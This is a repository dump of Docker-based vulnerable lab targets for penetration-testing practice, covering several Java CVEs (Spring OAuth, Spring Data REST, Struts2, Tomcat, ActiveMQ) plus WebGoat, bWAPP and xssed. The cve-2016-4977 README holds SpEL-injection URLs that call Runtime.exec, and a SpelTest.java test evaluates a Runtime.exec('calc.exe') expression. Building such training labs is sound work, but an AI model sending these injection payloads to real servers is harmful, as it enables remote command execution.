├── README.md ├── activemq └── cve-2016-3088 │ ├── Dockerfile │ └── README.md ├── php ├── BWAPP │ ├── Dockerfile │ ├── README.md │ ├── bWAPP_latest.zip │ ├── bwapp.conf │ └── sources.list └── xssed │ ├── Dockerfile │ ├── README.md │ ├── sources.list │ └── startup.sh ├── springboot ├── cve-2016-4977 │ ├── Dockerfile │ └── README.md └── cve-2017-8046 │ ├── Dockerfile │ ├── README.md │ ├── spring-data-rest-cve-2017-8046.jar │ └── spring-data-rest-cve-2017-8046 │ ├── pom.xml │ └── src │ ├── main │ ├── java │ │ └── cn │ │ │ └── com │ │ │ └── shaobing │ │ │ └── data │ │ │ └── rest │ │ │ ├── SpringDataRestApplication.java │ │ │ ├── entity │ │ │ ├── People.java │ │ │ └── Product.java │ │ │ ├── service │ │ │ ├── PeopleResitory.java │ │ │ └── ProductService.java │ │ │ └── spel │ │ │ └── SpelGrammar.java │ └── resources │ │ └── application.properties │ └── test │ └── java │ └── cn │ └── com │ └── shaobing │ └── spel │ ├── AarrysTest.java │ ├── Inventor.java │ └── SpelTest.java ├── struts2 └── s2-001 │ ├── Dockerfile │ └── S2-001.war ├── target ├── bodgeit │ ├── Dockerfile │ ├── README.md │ └── bodgeit.war └── webgoat │ ├── 7.1 │ ├── Dockerfile │ └── README.md │ └── 8.0 │ ├── Dockerfile │ └── README.md └── tomcat ├── CVE-2017-12615 ├── 1.png ├── 2.png ├── Dockerfile ├── README.md └── web.xml └── custom ├── Dockerfile └── README.md /README.md: -------------------------------------------------------------------------------- 1 | ## java靶机 2 | 3 | 4 | ## docker安装 5 | 6 | 7 | ## docker常用命令 8 | 9 | 设置国内docker image 仓库地址 10 | 11 | cat /etc/docker/daemon.json 12 | { 13 | "registry-mirrors": ["https://registry.docker-cn.com"] 14 | } 15 | 16 | 17 | 18 | 0 搜索镜像 19 | docker search 20 | docker pull mysql 21 | docker info 22 | docker stats 23 | 1 docker images 24 | 25 | 2 docker ps -a -l 26 | 27 | 3 docker build -t pez1420/javavul:test . --rm=true 28 | -t选择指定生成镜像的用户名，仓库名和tag 29 | --rm=true指定在生成镜像过程中删除中间产生的临时容器。 30 | 31 | 4 docker images pez1420/javavul 32 | 查看新产生的镜像 33 | 34 | 5 运行镜像 35 | docker run -d -p 8090:8080 5207 36 | -p指定主机80端口与容器8080端口进行绑定 37 | -d 指定容器运行后与当前tty分离，后台运行 38 | 5207是镜像的ID前4位。 39 | 40 | 6 停用全部运行中的容器 41 | docker stop $(docker ps -q) 42 | docker stop 2882c14cefa9(容器ID) 43 | 44 | 7 删除所有容器 45 | docker rm $(docker ps -aq) 46 | 47 | 8 进入容器 48 | docker inspect 来查看该容器的详细信息 49 | 50 | docker exec -it 8f1b89183df5 /bin/sh 51 | 8f1b89183df5为容器ID /bin/sh需要执行的命令 52 | -d :分离模式: 在后台运行 53 | -i :即使没有附加也保持STDIN 打开 54 | -t :分配一个伪终端 55 | 56 | 共享文件目录: 57 | cd /mnt/hgfs/ 58 | 59 | 60 | 8 删除images，通过image的id来指定删除谁 61 | docker rmi 62 | 63 | -------------------------------------------------------------------------------- /activemq/cve-2016-3088/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM activemq:5.11.1 2 | 3 | MAINTAINER pez1420 pez1420@gmail.com 4 | -------------------------------------------------------------------------------- /activemq/cve-2016-3088/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/activemq/cve-2016-3088/README.md -------------------------------------------------------------------------------- /php/BWAPP/Dockerfile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/php/BWAPP/Dockerfile -------------------------------------------------------------------------------- /php/BWAPP/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/php/BWAPP/README.md -------------------------------------------------------------------------------- /php/BWAPP/bWAPP_latest.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/php/BWAPP/bWAPP_latest.zip -------------------------------------------------------------------------------- /php/BWAPP/bwapp.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | nodaemon=true 3 | 4 | [program:mysqld] 5 | command=/etc/init.d/mysql restart 6 | 7 | [program:apache2] 8 | command=/etc/init.d/apache2 restart -------------------------------------------------------------------------------- /php/BWAPP/sources.list: -------------------------------------------------------------------------------- 1 | deb http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe 2 | deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe 3 | deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe 4 | deb http://mirrors.aliyun.com/ubuntu/ trusty-security main multiverse restricted universe 5 | deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main multiverse restricted universe 6 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe 7 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe 8 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe 9 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main multiverse restricted universe 10 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main multiverse restricted universe -------------------------------------------------------------------------------- /php/xssed/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:14.04 2 | 3 | MAINTAINER MyKings 4 | 5 | # 使用国内淘宝源 6 | ADD sources.list /etc/apt/ 7 | 8 | # 安装服务 9 | RUN apt-get -y update 10 | RUN apt-get -y install php5 wget unzip curl 11 | 12 | # 切换工作目录 13 | WORKDIR /var/www/html/ 14 | 15 | # 删除默认首页 16 | RUN rm /var/www/html/index.html 17 | 18 | # 下载 xssed 19 | RUN wget --no-check-certificate https://github.com/aj00200/xssed/archive/master.zip \ 20 | && unzip master.zip \ 21 | && rm master.zip \ 22 | && mv xssed-master/* . \ 23 | && rm -rf ./xssed-master/ 24 | 25 | # 拷贝启动脚本 26 | ADD ./startup.sh ./ 27 | 28 | EXPOSE 80 29 | 30 | CMD ["/bin/bash"] -------------------------------------------------------------------------------- /php/xssed/README.md: -------------------------------------------------------------------------------- 1 | # xssed 2 | 3 | XSSed is a set of XSS vulnerable PHP pages for testing (and fun, don't forget the fun). 4 | 5 | ## 如何使用 6 | 7 | 创建 image 8 | 9 | ```bash 10 | $ docker build -t xssed/javavul:1.4.0 . --rm=true 11 | ``` 12 | 13 | 创建容器 14 | 15 | ```bash 16 | $ docker run -it --name xssed_vul -p 0.0.0.0:1113:80 xssed/javavul:1.4.0 /bin/bash 17 | ``` 18 | ## 参考链接 19 | 20 | * [xssed 官方地址](https://github.com/aj00200/xssed) 21 | 22 | -------------------------------------------------------------------------------- /php/xssed/sources.list: -------------------------------------------------------------------------------- 1 | deb http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe 2 | deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe 3 | deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe 4 | deb http://mirrors.aliyun.com/ubuntu/ trusty-security main multiverse restricted universe 5 | deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main multiverse restricted universe 6 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty main multiverse restricted universe 7 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main multiverse restricted universe 8 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main multiverse restricted universe 9 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main multiverse restricted universe 10 | deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main multiverse restricted universe 11 | -------------------------------------------------------------------------------- /php/xssed/startup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # author: MyKings 3 | 4 | service apache2 restart 5 | -------------------------------------------------------------------------------- /springboot/cve-2016-4977/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM activemq:5.11.1 2 | 3 | MAINTAINER pez1420 pez1420@gmail.com 4 | -------------------------------------------------------------------------------- /springboot/cve-2016-4977/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&scope=openid&redirect_uri=${T(java.lang.Runtime).getRuntime().exec("dir")} 4 | 5 | 6 | http://localhost:8080/oauth/authorize?response_type=calc.exe${T(java.lang.Runtime).getRuntime().exec(toString().substring(112,120))}&client_id=acme&scope=openid&redirect_uri=http://test 7 | 8 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM codenvy/jdk7 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | 4 | ADD spring-data-rest-cve-2017-8046.jar /usr/local 5 | 6 | WORKDIR /usr/local 7 | CMD ["nohup","java", "-jar","spring-data-rest-cve-2017-8046.jar", "&"] 8 | EXPOSE 8080 -------------------------------------------------------------------------------- /springboot/cve-2017-8046/README.md: -------------------------------------------------------------------------------- 1 | # spring-data-rest-cve-2017-8046.jar(远程代码执行漏洞) 2 | 3 | ## 环境搭建 4 | 5 | 搭建及运行漏洞环境： 6 | 7 | ``` 8 | docker build -t cve201718046/springdatarest:1.4.3 . --rm=true 9 | docker images cve201718046/springdatarest 10 | docker run -it -p 1117:8080 镜像前4位 /bin/sh 11 | ``` 12 | 13 | ## 漏洞说明 14 | Spring Data Rest 在处理 PATCH 请求时存在RCE高危漏洞, 可以使用手工构造的JSON数据构造恶意PATCH请求提交至spring-data-rest服务器，使得服务器运行恶意JAVA代码。 15 | JsonPatchHandler -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/springboot/cve-2017-8046/spring-data-rest-cve-2017-8046.jar -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | cn.com.servyou 7 | spring-data-rest-cve-2017-8046 8 | 1.0.0-SNAPSHOT 9 | jar 10 | 11 | spring-data-rest-cve-2017-8046 12 | api gateway 13 | 14 | 15 | UTF-8 16 | 1.7 17 | 18 | 19 | 20 | 21 | 22 | org.springframework.boot 23 | spring-boot-dependencies 24 | 1.4.3.RELEASE 25 | pom 26 | import 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-starter-data-rest 32 | 1.4.3.RELEASE 33 | 34 | 35 | 36 | 37 | org.springframework.boot 38 | spring-boot-starter-data-jpa 39 | 1.4.3.RELEASE 40 | 41 | 42 | org.springframework 43 | spring-beans 44 | 45 | 46 | 47 | 48 | 49 | com.h2database 50 | h2 51 | 1.4.193 52 | runtime 53 | 54 | 55 | 56 | com.jayway.jsonpath 57 | json-path 58 | 2.2.0 59 | test 60 | 61 | 62 | javax.persistence 63 | persistence-api 64 | 1.0 65 | 66 | 67 | junit 68 | junit 69 | 4.12 70 | test 71 | 72 | 73 | 74 | 75 | 76 | 77 | spring-libs-release 78 | Spring Releases 79 | https://repo.spring.io/libs-release 80 | 81 | false 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | org.springframework.boot 91 | spring-boot-maven-plugin 92 | 1.5.2.RELEASE 93 | 94 | 95 | 96 | repackage 97 | 98 | 99 | 100 | 101 | 102 | org.apache.maven.plugins 103 | maven-compiler-plugin 104 | 105 | 1.8 106 | 1.8 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/SpringDataRestApplication.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | /** 7 | * @author pez1420@gmail.com 8 | * @version $Id: SpringDataRestApplication.java v 0.1 2017/9/30 13:45 luyb Exp $$ 9 | */ 10 | @SpringBootApplication 11 | public class SpringDataRestApplication { 12 | 13 | public static void main(String[] args) { 14 | SpringApplication.run(SpringDataRestApplication.class, args); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/entity/People.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest.entity; 2 | 3 | import javax.persistence.*; 4 | 5 | /** 6 | * @author pez1420@gmail.com 7 | * @version $Id: People.java v 0.1 2017/9/30 14:03 pez1420 Exp $$ 8 | */ 9 | @Entity 10 | public class People { 11 | 12 | @Id 13 | @GeneratedValue(strategy = GenerationType.AUTO) 14 | private long id; 15 | 16 | @Column 17 | private String firstName; 18 | 19 | @Column 20 | private String lastName; 21 | 22 | /** 23 | * Getter for property 'id'. 24 | * 25 | * @return id Value for property 'id'. 26 | */ 27 | public long getId() { 28 | return id; 29 | } 30 | 31 | /** 32 | * Setter for property 'id'. 33 | * 34 | * @param id Value to set for property 'id'. 35 | */ 36 | public void setId(long id) { 37 | this.id = id; 38 | } 39 | 40 | /** 41 | * Getter for property 'firstName'. 42 | * 43 | * @return firstName Value for property 'firstName'. 44 | */ 45 | public String getFirstName() { 46 | return firstName; 47 | } 48 | 49 | /** 50 | * Setter for property 'firstName'. 51 | * 52 | * @param firstName Value to set for property 'firstName'. 53 | */ 54 | public void setFirstName(String firstName) { 55 | this.firstName = firstName; 56 | } 57 | 58 | /** 59 | * Getter for property 'lastName'. 60 | * 61 | * @return lastName Value for property 'lastName'. 62 | */ 63 | public String getLastName() { 64 | return lastName; 65 | } 66 | 67 | /** 68 | * Setter for property 'lastName'. 69 | * 70 | * @param lastName Value to set for property 'lastName'. 71 | */ 72 | public void setLastName(String lastName) { 73 | this.lastName = lastName; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/entity/Product.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest.entity; 2 | 3 | import javax.persistence.*; 4 | 5 | /** 6 | * @author pez1420@gmail.com 7 | * @version $Id: Product.java v 0.1 2017/9/30 17:26 luyb Exp $$ 8 | */ 9 | @Entity 10 | public class Product { 11 | 12 | @Id 13 | @GeneratedValue(strategy = GenerationType.AUTO) 14 | private long id; 15 | 16 | @Column 17 | private String name; 18 | 19 | @Column 20 | private long price; 21 | 22 | /** 23 | * Getter for property 'id'. 24 | * 25 | * @return id Value for property 'id'. 26 | */ 27 | public long getId() { 28 | return id; 29 | } 30 | 31 | /** 32 | * Setter for property 'id'. 33 | * 34 | * @param id Value to set for property 'id'. 35 | */ 36 | public void setId(long id) { 37 | this.id = id; 38 | } 39 | 40 | /** 41 | * Getter for property 'name'. 42 | * 43 | * @return name Value for property 'name'. 44 | */ 45 | public String getName() { 46 | return name; 47 | } 48 | 49 | /** 50 | * Setter for property 'name'. 51 | * 52 | * @param name Value to set for property 'name'. 53 | */ 54 | public void setName(String name) { 55 | this.name = name; 56 | } 57 | 58 | /** 59 | * Getter for property 'price'. 60 | * 61 | * @return price Value for property 'price'. 62 | */ 63 | public long getPrice() { 64 | return price; 65 | } 66 | 67 | /** 68 | * Setter for property 'price'. 69 | * 70 | * @param price Value to set for property 'price'. 71 | */ 72 | public void setPrice(long price) { 73 | this.price = price; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/service/PeopleResitory.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest.service; 2 | 3 | import org.springframework.data.repository.PagingAndSortingRepository; 4 | import org.springframework.data.repository.query.Param; 5 | import org.springframework.data.rest.core.annotation.RepositoryRestResource; 6 | 7 | import cn.com.shaobing.data.rest.entity.People; 8 | 9 | /** 10 | * @author pez1420@gmail.com 11 | * @version $Id: PeopleResitory.java v 0.1 2017/9/30 14:18 luyb Exp $$ 12 | */ 13 | @RepositoryRestResource(collectionResourceRel = "people", path = "people") 14 | public interface PeopleResitory extends PagingAndSortingRepository { 15 | 16 | /** 17 | * 根据fisrtName查询People 18 | * 19 | * @param firstName String 20 | * @return People 21 | */ 22 | People findByFirstName(@Param("firstName") String firstName); 23 | } 24 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/service/ProductService.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest.service; 2 | 3 | import cn.com.shaobing.data.rest.entity.Product; 4 | import org.springframework.data.repository.PagingAndSortingRepository; 5 | import org.springframework.data.rest.core.annotation.RepositoryRestResource; 6 | 7 | /** 8 | * @author pez1420@gmail.com 9 | * @version $Id: ProductService.java v 0.1 2017/9/30 17:35 luyb Exp $$ 10 | */ 11 | @RepositoryRestResource(collectionResourceRel = "product", path = "product") 12 | public interface ProductService extends PagingAndSortingRepository { 13 | 14 | } 15 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/java/cn/com/shaobing/data/rest/spel/SpelGrammar.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.data.rest.spel; 2 | 3 | /** 4 | * @author pez1420@gmail.com 5 | * @version $Id: SpelGrammar.java v 0.1 2017/9/30 14:57 luyb Exp $$ 6 | */ 7 | public class SpelGrammar { 8 | } 9 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | spring.data.rest.base-path=/api -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/test/java/cn/com/shaobing/spel/AarrysTest.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.spel; 2 | 3 | import org.junit.Test; 4 | import org.springframework.data.mapping.PropertyPath; 5 | 6 | import java.util.Arrays; 7 | import java.util.Optional; 8 | import java.util.stream.Collectors; 9 | 10 | /** 11 | * @author pez1420@gmail.com 12 | * @version $Id: ArrysTest.java v 0.1 2017/9/30 23:10 luyb Exp $$ 13 | */ 14 | public class AarrysTest { 15 | 16 | 17 | @Test 18 | public void testAarry() { 19 | class Person { 20 | private String name; 21 | } 22 | 23 | String path = "/name"; 24 | String pathSource = Arrays.stream(path.split("/")) 25 | .filter(it -> !it.matches("\\d")) 26 | .filter(it -> !it.equals("-")) 27 | .filter(it -> !it.isEmpty()) 28 | .collect(Collectors.joining(".")); 29 | System.out.println(pathSource); 30 | 31 | Optional from = Optional.of(PropertyPath.from(pathSource, Person.class)); 32 | System.out.println(from); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/test/java/cn/com/shaobing/spel/Inventor.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.spel; 2 | 3 | import java.util.Date; 4 | 5 | /** 6 | * @author pez1420@gmail.com 7 | * @version $ID: Inventor.java v 0.1 2017/9/30 16:06 luyb Exp $$ 8 | */ 9 | public class Inventor { 10 | 11 | private String name; 12 | 13 | private Date time; 14 | 15 | private String desc; 16 | 17 | public Inventor(String name, Date time, String desc) { 18 | this.name = name; 19 | this.time = time; 20 | this.desc = desc; 21 | } 22 | 23 | /** 24 | * Getter for property 'name'. 25 | * 26 | * @return name Value for property 'name'. 27 | */ 28 | public String getName() { 29 | return name; 30 | } 31 | 32 | /** 33 | * Setter for property 'name'. 34 | * 35 | * @param name Value to set for property 'name'. 36 | */ 37 | public void setName(String name) { 38 | this.name = name; 39 | } 40 | 41 | /** 42 | * Getter for property 'time'. 43 | * 44 | * @return time Value for property 'time'. 45 | */ 46 | public Date getTime() { 47 | return time; 48 | } 49 | 50 | /** 51 | * Setter for property 'time'. 52 | * 53 | * @param time Value to set for property 'time'. 54 | */ 55 | public void setTime(Date time) { 56 | this.time = time; 57 | } 58 | 59 | /** 60 | * Getter for property 'desc'. 61 | * 62 | * @return desc Value for property 'desc'. 63 | */ 64 | public String getDesc() { 65 | return desc; 66 | } 67 | 68 | /** 69 | * Setter for property 'desc'. 70 | * 71 | * @param desc Value to set for property 'desc'. 72 | */ 73 | public void setDesc(String desc) { 74 | this.desc = desc; 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /springboot/cve-2017-8046/spring-data-rest-cve-2017-8046/src/test/java/cn/com/shaobing/spel/SpelTest.java: -------------------------------------------------------------------------------- 1 | package cn.com.shaobing.spel; 2 | 3 | import org.junit.Test; 4 | import org.springframework.expression.EvaluationContext; 5 | import org.springframework.expression.Expression; 6 | import org.springframework.expression.ExpressionParser; 7 | import org.springframework.expression.spel.SpelParserConfiguration; 8 | import org.springframework.expression.spel.standard.SpelExpressionParser; 9 | import org.springframework.expression.spel.support.StandardEvaluationContext; 10 | 11 | import java.io.IOException; 12 | import java.util.ArrayList; 13 | import java.util.GregorianCalendar; 14 | import java.util.List; 15 | 16 | import static org.junit.Assert.assertEquals; 17 | 18 | /** 19 | * https://docs.spring.io/spring/docs/current/spring-framework-reference/core.html#expressions 20 | * http://docs.spring.io/spring/docs/current/spring-framework-reference/htmlsingle/#expressions-example-classes 21 | * 22 | * http://www.cnblogs.com/larryzeal/p/5964621.html 23 | * 24 | * @author pez1420@gmail.com 25 | * @version $Id: SpelTest.java v 0.1 2017/9/30 15:50 luyb Exp $$ 26 | */ 27 | public class SpelTest { 28 | 29 | @Test 30 | public void testSpelliteral() { 31 | //字面量 32 | ExpressionParser parser = new SpelExpressionParser(); 33 | Expression exp = parser.parseExpression("'Hello World'"); 34 | String message = (String) exp.getValue(); 35 | 36 | assertEquals(message, "Hello World"); 37 | 38 | } 39 | 40 | @Test 41 | public void testSpelMethod() { 42 | //方法调用 43 | ExpressionParser parser = new SpelExpressionParser(); 44 | Expression exp = parser.parseExpression("'Hello World'.concat('!')"); 45 | String message = (String) exp.getValue(); 46 | 47 | assertEquals(message, "Hello World!"); 48 | 49 | //调用getBytes()方法 50 | exp = parser.parseExpression("'Hello World'.bytes"); 51 | byte[] bytes = (byte[]) exp.getValue(); 52 | 53 | //调用 String’s constructor 54 | parser = new SpelExpressionParser(); 55 | exp = parser.parseExpression("new String('hello world').toUpperCase()"); 56 | message = exp.getValue(String.class); 57 | 58 | } 59 | 60 | @Test 61 | public void testContext() { 62 | GregorianCalendar c = new GregorianCalendar(); 63 | c.set(1856, 7, 9); 64 | 65 | // The constructor arguments are name, birthday, and nationality. 66 | Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian"); 67 | 68 | ExpressionParser parser = new SpelExpressionParser(); 69 | Expression exp = parser.parseExpression("name"); 70 | 71 | EvaluationContext context = new StandardEvaluationContext(tesla); 72 | String name = (String) exp.getValue(context); 73 | 74 | System.out.println(name); 75 | } 76 | 77 | @Test 78 | public void testContextDirect() { 79 | GregorianCalendar c = new GregorianCalendar(); 80 | c.set(1856, 7, 9); 81 | 82 | // The constructor arguments are name, birthday, and nationality. 83 | Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian"); 84 | 85 | ExpressionParser parser = new SpelExpressionParser(); 86 | Expression exp = parser.parseExpression("name"); 87 | String name = (String) exp.getValue(tesla); 88 | 89 | System.out.println(name); 90 | } 91 | 92 | @Test 93 | public void testBooleanOperator() { 94 | 95 | GregorianCalendar c = new GregorianCalendar(); 96 | c.set(1856, 7, 9); 97 | 98 | // The constructor arguments are name, birthday, and nationality. 99 | Inventor tesla = new Inventor("Nikola Tesla", c.getTime(), "Serbian"); 100 | 101 | ExpressionParser parser = new SpelExpressionParser(); 102 | 103 | Expression exp = parser.parseExpression("name == 'Nikola Tesla'"); 104 | EvaluationContext context = new StandardEvaluationContext(tesla); 105 | 106 | boolean result = exp.getValue(context, Boolean.class); // 107 | System.out.println(result); 108 | } 109 | 110 | @Test 111 | public void testEvaluationContext() { 112 | 113 | class Simple { 114 | public List booleanList = new ArrayList(); 115 | } 116 | 117 | Simple simple = new Simple(); 118 | 119 | simple.booleanList.add(true); 120 | 121 | StandardEvaluationContext simpleContext = new StandardEvaluationContext(simple); 122 | 123 | ExpressionParser parser = new SpelExpressionParser(); 124 | 125 | // false is passed in here as a string. SpEL and the conversion service will 126 | // correctly recognize that it needs to be a Boolean and convert it 127 | parser.parseExpression("booleanList[0]").setValue(simpleContext, "false"); 128 | 129 | // b will be false 130 | Boolean b = simple.booleanList.get(0); 131 | 132 | System.out.println(b); 133 | 134 | } 135 | 136 | @Test 137 | public void testParserconfiguration() { 138 | // automatically grow the array or list to accommodate that index. 139 | class Demo { 140 | public List list; 141 | } 142 | 143 | // Turn on: 144 | // - auto null reference initialization 145 | // - auto collection growing 146 | SpelParserConfiguration config = new SpelParserConfiguration(true,true); 147 | 148 | ExpressionParser parser = new SpelExpressionParser(config); 149 | 150 | Expression expression = parser.parseExpression("list[3]"); 151 | 152 | Demo demo = new Demo(); 153 | 154 | Object o = expression.getValue(demo); 155 | 156 | System.out.println(o); 157 | } 158 | 159 | //T操作符可以指定java.lang.Class的实例，可以通过T操作符调用静态方法 160 | //使用该操作符引用java.lang下的类型时，可以省略包路径。但其他引用不能省略！ 161 | @Test 162 | public void testRuntime() throws IOException { 163 | //Runtime.getRuntime().exec("calc.exe"); 164 | ExpressionParser parser = new SpelExpressionParser(); 165 | Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe')"); 166 | System.out.println(exp.getValue()); 167 | 168 | exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').firstName"); 169 | exp.setValue("", ""); 170 | } 171 | 172 | } 173 | -------------------------------------------------------------------------------- /struts2/s2-001/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tomcat:7 2 | MAINTAINER pez1420@gmail.com 3 | ADD S2-001.war /usr/local/tomcat/webapps/ 4 | CMD ["catalina.sh", "run"] 5 | EXPOSE 8080 -------------------------------------------------------------------------------- /struts2/s2-001/S2-001.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/struts2/s2-001/S2-001.war -------------------------------------------------------------------------------- /target/bodgeit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tomcat:7 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | ADD bodgeit.war /usr/local/tomcat/webapps/ 4 | CMD ["catalina.sh", "run"] 5 | EXPOSE 1111 -------------------------------------------------------------------------------- /target/bodgeit/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/target/bodgeit/README.md -------------------------------------------------------------------------------- /target/bodgeit/bodgeit.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/target/bodgeit/bodgeit.war -------------------------------------------------------------------------------- /target/webgoat/7.1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM webgoat/webgoat-7.1 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | EXPOSE 8081 -------------------------------------------------------------------------------- /target/webgoat/7.1/README.md: -------------------------------------------------------------------------------- 1 | # WebGoat7.1 2 | 3 | WebGoat是由OWASP维护包含web应用漏洞的渗透测试平台，旨在教授web应用程序安全课程 4 | 5 | ## 环境搭建 6 | 7 | 搭建及运行漏洞环境： 8 | 9 | ``` 10 | docker build -t webgoat/webgoat-7.1 . --rm=true 11 | docker images webgoat/webgoat-7.1 12 | docker run -p 8081:8081 imageId前4位 13 | ``` 14 | 15 | ## 漏洞说明 16 | 17 | WebGoat包含以下几种主要的漏洞 18 | 19 | 1. 跨站脚本漏洞 20 | 2. SQL注入 21 | 3. Hidden (but unprotected) content 22 | 4. CSRF漏洞 23 | 5. 调试模式(Debug code) 24 | 6. 不安全对象应用(Insecure Object References) 25 | 7. 应用逻辑漏洞 26 | 27 | ### 1. 跨站脚本漏洞利用过程 28 | 29 | 30 | ### 2. SQL注入利用过程 31 | 32 | 33 | ### 3. CSRF漏洞利用过程 34 | -------------------------------------------------------------------------------- /target/webgoat/8.0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM webgoat/webgoat-8.0 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | EXPOSE 8080 -------------------------------------------------------------------------------- /target/webgoat/8.0/README.md: -------------------------------------------------------------------------------- 1 | # WebGoat 2 | 3 | WebGoat是由OWASP维护包含web应用漏洞的渗透测试平台，旨在教授web应用程序安全课程 4 | 5 | ## 环境搭建 6 | 7 | 搭建及运行漏洞环境： 8 | 9 | ``` 10 | docker build -t webgoat/webgoat-8.0 . --rm=true 11 | docker images webgoat/webgoat-8.0 12 | docker run -p 8080:8080 imageId前4位 13 | ``` 14 | 15 | ## 漏洞说明 16 | 17 | WebGoat包含以下几种主要的漏洞 18 | 19 | 1. 跨站脚本漏洞 20 | 2. SQL注入 21 | 3. Hidden (but unprotected) content 22 | 4. CSRF漏洞 23 | 5. 调试模式(Debug code) 24 | 6. 不安全对象应用(Insecure Object References) 25 | 7. 应用逻辑漏洞 26 | 27 | ### 1. 跨站脚本漏洞利用过程 28 | 29 | 30 | ### 2. SQL注入利用过程 31 | 32 | 33 | ### 3. CSRF漏洞利用过程 34 | -------------------------------------------------------------------------------- /tomcat/CVE-2017-12615/1.png: -------------------------------------------------------------------------------- 